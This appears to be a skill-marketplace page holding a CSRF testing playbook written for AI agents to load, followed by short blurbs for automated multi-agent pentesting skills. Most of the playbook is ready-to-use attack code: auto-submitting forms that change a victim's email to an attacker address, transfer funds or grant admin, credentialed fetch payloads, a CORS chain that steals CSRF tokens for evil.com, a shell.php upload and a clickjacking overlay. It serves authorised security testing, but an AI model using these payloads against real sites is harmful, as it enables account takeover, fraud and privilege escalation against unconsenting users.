القائمة
CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
| name | csrf-cross-site-request-forgery |
| description | CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling. |
AI LOAD INSTRUCTION: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.
Also load:
CSRF exploits a victim's active session to perform state-changing requests from the attacker's origin.
Required conditions:
High-value state-changing endpoints:
- Password change ← account takeover
- Email change ← account takeover
- Add admin / change role ← privilege escalation
- Bank/payment transfer ← financial impact
- OAuth app authorization ← hijack oauth flow
- Account deletion
- Two-factor auth disable
- SSH key / API key addition
- Webhook configuration
- Profile/contact info update
Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.
Token exists in request but is never verified server-side:
Remove the _csrf_token parameter entirely → does request still succeed?
→ YES → trivial bypass
Step 1: Log in as UserA → obtain valid CSRF token
Step 2: Log in as UserB in other browser → obtain UserB CSRF token
Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
→ If server validates token exists but doesn't check if it belongs to the session → bypass
When server sets CSRF token as cookie and expects it back in a header/form:
Set-Cookie: csrf=ATTACKER_CONTROLLED
→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
→ Submit form with known token in header + known token in cookie = bypass
→ Same token across all users/sessions
→ Token = base64(username) or md5(session_id) → reversible
→ Token = timestamp → predictable
If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
→ Set csrf_cookie=CONTROLLED on .target.com
→ Submit request with X-CSRF-Token: CONTROLLED
→ Server checks header == cookie → match → bypass
SameSite=Lax (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.
Bypass SameSite=Lax via GET method:
<!-- If server accepts GET for state-changing endpoint: -->
<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
Bypass via subdomain XSS (SameSite Lax/Strict):
// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window.location = 'https://target.com/account/modify?evil=true';
SameSite=None (legacy or explicit): cookies sent everywhere → classic CSRF applies.
Cookie issued recently? Lax exemption: Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.
<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000">
</form>
</body>
<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">
If API requires custom header like X-CSRF-Token but also accepts JSON with wildcard CORS — custom headers don't protect if CORS misconfigured:
// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true; // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');
When endpoint accepts Content-Type: application/json — fetch() with CORS credentials:
// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
Requires: Access-Control-Allow-Origin: https://test-attacker.com AND Access-Control-Allow-Credentials: true
If server only accepts application/json but no fetch CORS:
Can't do proper JSON CSRF from HTML form (forms can only send application/x-www-form-urlencoded, multipart/form-data, text/plain).
Trick — Content-Type Downgrade: If server processes text/plain body as JSON:
<form enctype="text/plain" method="POST" action="https://target.com/api">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
Resulting body: {"email":"attacker@evil.com","ignore":"="}
When changing Content-Type from application/json to multipart/form-data and request still works:
<form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
<input name="email" value="attacker@evil.com">
</form>
When CSRF protection is otherwise solid, XSS enables CSRF bypass:
// Step 1: XSS reads CSRF token from DOM
var token = document.querySelector('input[name="csrf_token"]').value;
// Step 2: Submit CSRF request with real token
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);
OAuth flow without state parameter → CSRF on the OAuth authorization:
Attack:
https://target.com/oauth/callback?code=ATTACKER_CODEImpact: Attacker can log in as victim.
□ Remove CSRF token entirely → does request succeed?
□ Change CSRF token to random value → does request succeed?
□ Use CSRF token from another user's session → does request succeed?
□ Check if GET version of POST endpoint exists
□ Check SameSite attribute of session cookie
□ Test if Content-Type change (json → form → text/plain) still processes
□ Check CORS policy: does Access-Control-Allow-Credentials: true appear?
With wildcard or attacker origin? → exploitable JSON CSRF
□ Check OAuth flows for missing state parameter
□ Test referrer-based protection: send request with no Referer header
□ Test referrer-based protection: spoof subdomain in referer
<!-- Browser sends Content-Type: text/plain with JSON-like body -->
<form action="https://target.com/api/role" method="POST" enctype="text/plain">
<input name='{"role":"admin","ignore":"' value='"}' type="hidden">
<input type="submit" value="Click me">
</form>
<!-- Resulting body: {"role":"admin","ignore":"="} -->
<!-- Server may parse as JSON if it doesn't strictly check Content-Type -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>
<!-- Only works if CORS allows the origin (misconfigured CORS + CSRF combo) -->
<script>
fetch("https://target.com/api/role", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "text/plain"},
body: '{"role":"admin"}'
});
</script>
<script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");
fetch("https://target.com/upload", {
method: "POST",
credentials: "include",
body: formData
});
</script>
Normal flow: Frontend fetches /api/user/PROFILE_ID/settings
Attack: Set PROFILE_ID to ../../admin/dangerous-action
Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies
This converts a path traversal into a CSRF-like attack without needing a CSRF token
| Aspect | Traditional CSRF | CSPT2CSRF |
|---|---|---|
| Origin | Attacker's site | Same-origin JavaScript |
| Token bypass | Needs token forgery | No token needed (same-origin) |
| SameSite | Blocked by SameSite=Strict | Bypasses SameSite (same site!) |
| Detection | Standard CSRF checks | Requires input validation on path segments |
window.open() (2-minute window)Chrome's Lax+POST exception: cookies with SameSite=Lax are sent on cross-site POST requests if the cookie was set within the last 2 minutes (exists for OAuth flows).
// Attacker page: trigger login to set a fresh cookie, then immediately CSRF
// Step 1: Force victim to visit target (sets fresh session cookie)
window.open('https://target.com/login');
// Step 2: Within 2 minutes, POST to state-changing endpoint
setTimeout(() => {
const form = document.createElement('form');
form.method = 'POST';
form.action = 'https://target.com/account/change-email';
form.innerHTML = '<input name="email" value="attacker@evil.com">';
document.body.appendChild(form);
form.submit();
}, 5000);
Lax cookies are sent on top-level GET navigations. A redirect chain converts GET into action:
1. Attacker page → 302 redirect to https://target.com/transfer?to=attacker&amount=1000
2. Browser follows redirect as top-level navigation → Lax cookies sent
3. If target accepts GET for state-changing operations → CSRF succeeds
Many frameworks support method override via _method parameter:
GET /account/delete?_method=DELETE&confirm=yes HTTP/1.1
GET /transfer?_method=POST&to=attacker&amount=1000 HTTP/1.1
Headers that trigger method override:
X-HTTP-Method-Override: POST
X-Method-Override: DELETE
_method=PUT (Rails, Laravel, Symfony)
SameSite=Lax allows the GET → framework processes it as POST/DELETE via override → CSRF on "POST-only" endpoints.
Flash (pre-2021) could send arbitrary Content-Type headers cross-origin without preflight:
var req:URLRequest = new URLRequest("https://target.com/api/role");
req.method = "POST";
req.contentType = "application/json";
req.data = '{"role":"admin"}';
navigateToURL(req);
Legacy but still relevant for older internal applications.
fetch() in no-cors mode can send simple requests but cannot set Content-Type: application/json (triggers preflight) or read the response.
Workaround — if the server accepts text/plain body and parses it as JSON:
fetch('https://target.com/api/role', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"role":"admin"}'
});
Some backends accept both content types:
<form action="https://target.com/api/role" method="POST">
<input name="role" value="admin">
<input name="user_id" value="123">
</form>
If the server processes role=admin&user_id=123 the same as {"role":"admin","user_id":123} → CSRF via plain HTML form without CORS preflight.
1. Target API reflects Origin in Access-Control-Allow-Origin
2. Access-Control-Allow-Credentials: true
3. Attacker page sends credentialed fetch() from https://evil.com
4. Response is readable → CSRF token extracted from response
5. Second request with valid CSRF token → bypass all CSRF defenses
fetch('https://target.com/api/profile', {credentials: 'include'})
.then(r => r.json())
.then(data => {
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': data.csrf_token
},
body: JSON.stringify({email: 'attacker@evil.com'})
});
});
If *.target.com is in the CORS allowlist and an XSS exists on any subdomain:
blog.target.comapi.target.com (CORS allows subdomain)If CSRF tokens are issued before authentication and remain valid after login:
1. Attacker visits target.com → receives CSRF token T1
2. Attacker forces victim's browser to use T1:
a. Cookie tossing from subdomain
b. CRLF injection to set csrf_cookie
3. Victim logs in — CSRF token unchanged
4. Attacker submits CSRF request with known T1 → succeeds
□ Obtain CSRF token as unauthenticated user
□ Log in — does the CSRF token change?
□ If unchanged → token fixation: pre-auth token works post-auth
□ Use pre-auth token in a CSRF PoC against authenticated endpoint
When CSRF protections are solid but X-Frame-Options / frame-ancestors is missing:
1. Target page is frameable (no X-Frame-Options / CSP frame-ancestors)
2. Attacker creates transparent iframe overlay
3. Victim sees attacker content, clicks land on target's action button in hidden iframe
4. Click originates from same origin (within iframe) — bypasses CSRF tokens
<html>
<body>
<div style="position:relative">
<iframe src="https://target.com/account/settings"
style="opacity:0.0001; position:absolute; top:0; left:0;
width:500px; height:500px; z-index:2;">
</iframe>
<button style="position:absolute; top:250px; left:200px; z-index:1;
padding:20px; font-size:24px;">
Click to claim prize!
</button>
</div>
</body>
</html>
□ X-Frame-Options: DENY or SAMEORIGIN header present?
□ CSP: frame-ancestors 'self' or frame-ancestors 'none'?
□ If neither → clickjacking possible → CSRF bypass via iframe
AI 渗透测试：多 Agent 并行架构的 Web 应用渗透测试技能。 流程: 指纹识别 → 后台入口扫描 → API 预扫描 → 浏览器登录提取凭证（可选） → GoSpider 爬虫 → 过滤数据 → 指纹汇总 → 多 Agent 并行渗透测试 → 攻击链分析 → 漏洞证据复查 → 导出 JSON 报告 → 主机漏洞扫描 (可选)。 纯黑盒测试，不依赖源码。平台无关设计，可在任意 Agent 平台创建和使用。
基于指纹识别结果（tech_stack），优先匹配本地 POC；在用户明确授权时补充联网搜索 POC，并通过 http_test.py 验证已知漏洞。 工作流程：读取指纹识别结果 → 提取关键字搜索本地与联网 POC → 整理待验证清单 → 解析 POC 定义 → 构造 http_test.py 命令 → 评估匹配器 → 回填 findings。
负责认证与会话类漏洞检测：认证绕过/暴力破解/会话管理/JWT/OAuth/SAML/ 密码重置绕过/验证码绕过/不安全随机数/用户枚举/OIDC/CSRF。 受控密码测试为条件执行：根据用户授权、测试账号情况、验证码类型和登录保护强度自主决策。
负责 API 安全类漏洞检测：未授权访问/BOLA/BFLA/批量赋值/GraphQL 深度测试/ API 参数篡改/隐藏参数发现/WebSocket 安全/API 版本枚举/ 过度数据暴露
负责业务逻辑漏洞检测：业务流程绕过、状态机缺陷、竞态滥用、价格篡改、 优惠券滥用、库存与数量操纵，以及订单、支付、订阅等场景中的业务规则滥用
负责文件类漏洞检测：路径穿越/LFI/RFI/LFI→RCE、任意文件上传、文件包含、 任意文件下载、Zip Slip、SVG/CSV 注入、PHP Wrapper 利用、PEARCMD RCE、 编辑器路径利用、敏感文件泄露与文件解析链风险。